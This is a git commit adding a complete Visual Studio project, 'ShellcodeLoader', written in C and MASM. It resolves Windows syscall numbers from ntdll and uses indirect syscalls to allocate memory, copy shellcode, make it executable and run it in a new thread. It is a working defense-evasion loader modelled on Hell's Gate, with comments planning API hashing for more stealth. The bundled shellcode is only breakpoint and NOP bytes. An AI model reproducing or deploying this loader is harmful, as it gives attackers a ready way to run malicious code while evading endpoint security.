initial commit

This commit is contained in:
0xcf80
2024-01-13 20:04:34 +01:00
parent 4741115012
commit 9a5944d6b4
8 changed files with 561 additions and 0 deletions
+30
View File
@@ -0,0 +1,30 @@
#pragma once
# include <Windows.h>
// https://stackoverflow.com/questions/1941307/debug-print-macro-in-c
#define DEBUG
// Debug statements
#ifdef DEBUG
#define DEBUG_PRINT(...) fprintf( stderr, __VA_ARGS__ );
#else
#define DEBUG_PRINT(...) do{ } while ( false )
#endif
/*
* Structure to hold information about our syscalls
*/
typedef struct _SYSCALL_INFO_ENTRY {
LPVOID pSyscall; // pointer to syscall instruction
DWORD syscallId; // ID of the syscall
LPCSTR functionHash; // unused atm, for future use
} SYSCALL_INFO_ENTRY, *PSYSCALL_INFO_ENTRY;
// see populate_syscall_table() for info on how to add more syscalls
typedef struct SYSCALL_INFO_TABLE {
SYSCALL_INFO_ENTRY NtAllocateVirtualMemory;
SYSCALL_INFO_ENTRY NtProtectVirtualMemory;
SYSCALL_INFO_ENTRY NtCreateThreadEx;
SYSCALL_INFO_ENTRY NtWaitForSingleObject;
} SYSCALL_INFO_TABLE, * PSYSCALL_INFO_TABLE;
+255
View File
@@ -0,0 +1,255 @@
#include <Windows.h>
#include <stdio.h>
#include "ShellCodeLoader.h"
#include "WinApiReImplementations.h"
#pragma comment(linker, "/section:.data,RW")//.data section writable
//#pragma comment(linker, "/section:.data,RWE")//.data section executable
/*
* Define the functisons from Syscalls.asm.
* These definitions make the PrepareSyscall and DoIndirectSyscall functions accessible to ShellcodeLoader.c.
*/
// we pass a DWORD instead of a word (some syscall IDs are 3 Bytes long)
//extern VOID PrepareSyscall(WORD wSystemCall);
extern VOID PrepareSyscall(DWORD wSystemCall, LPVOID pSystemCall);
// to use this without implicit return type, we need to convert from c++ to c
// not sure whether passing an implicit return type would actually work here, as differenct syscalls
// may return different return types (?)
extern DoIndirectSyscall();
/*
* Locate syscall information within ntdll
* arg0: base address of ntdll
* arg1: function name to resolve (e.g. NtCreateProcess) -> to be replaced by hash
* arg2: pointer to void*. This will be populated with the address of the syscall instruction for that function
* arg3: pointer to DWORD. This will be populated with the Syscall ID
* return: -1 / ERROR_SUCCESS.
*/
NTSTATUS resolve_syscall(HMODULE hNtDll, LPCSTR funcName, _Out_ LPVOID *outpSyscall, _Out_ LPDWORD outSyscallId) {
// tbd: Avoid GPA and use API hashes.
// See https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware for a copy-paste ready implementation of GPA
LPVOID pProc = (LPVOID)GetProcAddress(hNtDll, funcName);
if (pProc == NULL) {
DEBUG_PRINT("GetProcAddress failed for %s\n", funcName);
return (NTSTATUS) -1;
}
DEBUG_PRINT("Function %s at %p\n", funcName, pProc);
/*
0:000> uf ntdll!NtCreateProcess
ntdll!NtCreateProcess:
00007ffc`b3e10b10 4c8bd1 mov r10,rcx
00007ffc`b3e10b13 b8be000000 mov eax,0BEh
00007ffc`b3e10b18 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`b3e10b20 7503 jne ntdll!NtCreateProcess+0x15 (00007ffc`b3e10b25) Branch
ntdll!NtCreateProcess+0x12:
00007ffc`b3e10b22 0f05 syscall
00007ffc`b3e10b24 c3 ret
*/
DWORD syscallId = 0;
PBYTE ptr = (PBYTE)pProc;
// 0x0f05 => syscall
while (TRUE) {
// 0xb8 => mov eax, ...
if (*ptr == 0xb8) {
syscallId = *(DWORD*)(ptr + 1);
}
else if (*ptr == 0x0f) {
if (*(ptr + 1) == 0x05) {
// 0xc3 => ret
if (*(ptr + 2) == 0xc3) {
DEBUG_PRINT("Syscall for %s at %p. ID: %02x\n", funcName, ptr, syscallId);
//return syscallId;
*outSyscallId = syscallId;
*outpSyscall = ptr;
return ERROR_SUCCESS;
}
}
}
ptr++;
if ((ptr - (PBYTE)pProc) == 50) {
DEBUG_PRINT("Could not identify Syscall for %s\n", funcName);
//break;
return (NTSTATUS)-1;
}
}
}
/*
* populate the SYSCALL_INFO_TABLE by resolving the individual syscall information
* If you'd like to add more syscalls, change the SYSCALL_INFO_TABLE struct within ShellCodeLoader.h and add calls to resolve_syscall as below
* arg0: Base address of ntdll
* arg1: Pointer to SYSCALL_INFO_TABLE struct - This is populated with the actual syscall information
* return: ERROR_SUCCESS (success) or -1 (failure)
*/
NTSTATUS populate_syscall_table(HMODULE hNtDll, _Out_ PSYSCALL_INFO_TABLE pSyscallTable) {
LPCSTR funcName = "NtAllocateVirtualMemory";
NTSTATUS status = (NTSTATUS)-1;
status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
return (NTSTATUS)-1;
}
funcName = "NtProtectVirtualMemory";
status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
return (NTSTATUS)-1;
}
funcName = "NtCreateThreadEx";
status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
return (NTSTATUS)-1;
}
funcName = "NtWaitForSingleObject";
status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
return (NTSTATUS)-1;
}
return ERROR_SUCCESS;
}
/*
* Execute shellcode using indirect syscalls (copied from https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L166)
* arg0: pointer to syscall table. The syscallId and pSyscall members are used in PrepareSyscall
* arg1: shellcode
* return: ERROR_SUCCESS (success) / -1 (failure)
* Call stack:
* * NtAllocateVirutalMemory
* * memcpy (basically)
* * NtProtectVirtualMemory
* * NtCreateThreadEx
* * NtWaitForSingleObject
*/
NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, const CHAR shellcode[], size_t shellcode_len) {
NTSTATUS status = 0x00000000;
DEBUG_PRINT("Executing shellcode\n");
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = shellcode_len;
PrepareSyscall(pSyscallTable->NtAllocateVirtualMemory.syscallId, pSyscallTable->NtAllocateVirtualMemory.pSyscall);
status = DoIndirectSyscall((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("NtAllocateVirtualMemory failed!");
return (NTSTATUS)-1;
}
DEBUG_PRINT("Allocated memory at %p\n", lpAddress);
// Write shellcodde
MoveMemoryReImpl(lpAddress, shellcode, shellcode_len);
// make page executable
ULONG ulOldProtect = 0;
PrepareSyscall(pSyscallTable->NtProtectVirtualMemory.syscallId, pSyscallTable->NtProtectVirtualMemory.pSyscall);
status = DoIndirectSyscall((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("NtProtectVrirtualMemory failed!");
return (NTSTATUS)-1;
}
DEBUG_PRINT("NtProtectVrirtualMemory success!\n");
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
PrepareSyscall(pSyscallTable->NtCreateThreadEx.syscallId, pSyscallTable->NtCreateThreadEx.pSyscall);
status = DoIndirectSyscall(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("NtCreateThreadEx failed!");
return (NTSTATUS)-1;
}
DEBUG_PRINT("NtCreateThreadEx success. hThread: %p\n", hHostThread);
// Wait for 1 second & execute
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
PrepareSyscall(pSyscallTable->NtWaitForSingleObject.syscallId, pSyscallTable->NtWaitForSingleObject.pSyscall);
status = DoIndirectSyscall(hHostThread, FALSE, &Timeout);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("NtWaitForSingleObject Failed!");
return (NTSTATUS)-1;
}
DEBUG_PRINT("NtWaitForSingleObject success.\n");
return ERROR_SUCCESS;
}
// Entrypoint
int main()
{
// todo: resolve ntdll from peb
HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
if (hNtDll == NULL) {
DEBUG_PRINT("GetModuleHandle failed for ntdll!\n");
return -1;
}
DEBUG_PRINT("NtDll mapped to %p\n", hNtDll);
// https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583
// introduced MOV EDI, EDI just to make the shellcode more distinguashalble from NOP only
// \w this shellcode, VisualStudio should throw an error as "A breakpoint instruction (__debugbreak() statement or a similar call) was executed in ShellcodeLoader.exe." when debugging
// In the Disassembly window, click "View" to check that the shellcode has been copied correctly. It should look similar to the following:
// 000001C029970000 int 3
// 000001C029970001 nop
// 000001C029970002 mov edi, edi
// 000001C029970004 nop
// 000001C029970005 mov edi, edi
// 000001C029970007 int 3
// 000001C029970008 int 3
// 000001C029970009 int 3
// 000001C02997000A int 3
const CHAR shellcode[] = {
0xcc, // INT3
0x90, // NOP
0x8b, 0xff, // MOV EDI, EDI
0x90, // NOP
0x8b, 0xff, // MOV EDI, EDI
0xcc, // INT3
0xcc, // INT3
0xcc, // INT3
0xcc // INT3
};
DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode));
SYSCALL_INFO_TABLE syscalls = { 0 };
NTSTATUS status = populate_syscall_table(hNtDll, &syscalls);
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Error populating Syscall table!\n");
return -1;
}
status = execute_shellcode_create_thread(&syscalls, shellcode, sizeof(shellcode));
if (status != ERROR_SUCCESS) {
DEBUG_PRINT("Error executing shellcode!\n");
return -1;
}
DEBUG_PRINT("YAY");
return ERROR_SUCCESS;
}
+145
View File
@@ -0,0 +1,145 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{3cc1956c-eea3-41e7-b03f-49d4d3b01d8e}</ProjectGuid>
<RootNamespace>ShellcodeLoader</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="ShellcodeLoader.c" />
<ClCompile Include="WinApiReImplementations.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="ShellCodeLoader.h" />
<ClInclude Include="WinApiReImplementations.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="Syscalls.asm" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
@@ -0,0 +1,38 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="ShellcodeLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="WinApiReImplementations.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="ShellCodeLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="WinApiReImplementations.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="Syscalls.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
+33
View File
@@ -0,0 +1,33 @@
; Based on: https://github.com/am0nsec/HellsGate/blob/master/HellsGate/hellsgate.asm
; But use indirect instead of direct syscalls
.data
wSystemCall DWORD 000h
; LPVOID not valid in asm context
pSyscall QWORD 0h
.code
; save the systemcall into variable (.data)
; arg0: Syscall ID
; arg1: pointer to syscall instruction
; see https://en.wikipedia.org/wiki/X86_calling_conventions#x86-64_calling_conventions
PrepareSyscall PROC
mov wSystemCall, 000h
; DWORD
mov wSystemCall, ecx
mov pSyscall, 000h
; Pointer
mov pSyscall, rdx
ret
PrepareSyscall ENDP
; execute syscall
DoIndirectSyscall PROC
mov r10, rcx
mov eax, wSystemCall
; https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/blob/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls/syscalls.asm#L19C5-L19C51
jmp QWORD PTR [pSyscall]
DoIndirectSyscall ENDP
end
+18
View File
@@ -0,0 +1,18 @@
#include <Windows.h>
// stolen from: https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L198C1-L211C2
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len) {
char* d = dest;
const char* s = src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <Windows.h>
/*
* Todo:
* * GetProcAddressByHash
* * GetModuleHandleByHash
* * GetPEB
*/
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len);
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.8.34330.188
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeLoader", "ShellcodeLoader\ShellcodeLoader.vcxproj", "{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x64.ActiveCfg = Debug|x64
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x64.Build.0 = Debug|x64
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x86.ActiveCfg = Debug|Win32
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x86.Build.0 = Debug|Win32
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x64.ActiveCfg = Release|x64
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x64.Build.0 = Release|x64
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x86.ActiveCfg = Release|Win32
{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {2BA0C2B6-8A84-41A7-8DD1-E8E68C27EC2F}
EndGlobalSection
EndGlobal